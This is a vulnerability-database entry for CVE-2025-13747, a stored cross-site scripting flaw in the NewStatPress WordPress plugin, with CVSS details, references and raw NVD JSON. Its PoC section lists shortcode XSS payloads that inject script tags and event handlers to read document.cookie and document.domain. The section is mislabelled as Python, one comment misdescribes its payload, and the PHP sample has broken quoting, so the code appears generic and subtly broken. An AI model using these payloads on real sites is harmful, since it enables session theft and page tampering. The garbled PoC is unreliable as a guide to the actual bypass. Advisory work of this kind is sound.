Security Vulnerability Report
中文
CVE-2025-13747 CVSS 6.4 MEDIUM

CVE-2025-13747

Published: 2025-12-12 04:15:42
Last Modified: 2026-04-15 00:35:42

Description

The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a regex bypass in nsp_shortcode function in all versions up to, and including, 1.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

NewStatPress插件 <= 1.4.3 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress NewStatPress XSS PoC --> <!-- Requires contributor-level access or higher --> <!-- Basic XSS payload via shortcode attribute --> [newstatpress xss='" onerror="alert(String.fromCharCode(88,83,83))" data-x="'] <!-- Alternative payload using event handler --> [newstatpress someattr='<script>alert(document.cookie)</script>'] <!-- Bypass payload exploiting regex weakness --> [newstatpress detail='test"/><script>alert("XSS")</script><x y="'] <!-- WordPress shortcode registration example --> function newstatpress_xss_poc() { // Attacker with contributor access adds this shortcode to a post $malicious_shortcode = '[newstatpress stat="visitors" opt="' . '" onmouseover="alert(document.domain)" x="']'; // The malicious script is stored and executed when page is viewed return $malicious_shortcode; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13747", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:42.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a regex bypass in nsp_shortcode function in all versions up to, and including, 1.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/newstatpress/tags/1.4.3/includes/nsp-core.php#L637", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3426875%40newstatpress&new=3426875%40newstatpress&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e7ddc418-9458-4335-afdc-6d40c7e23060?source=cve", "source": "[email protected]"}]}}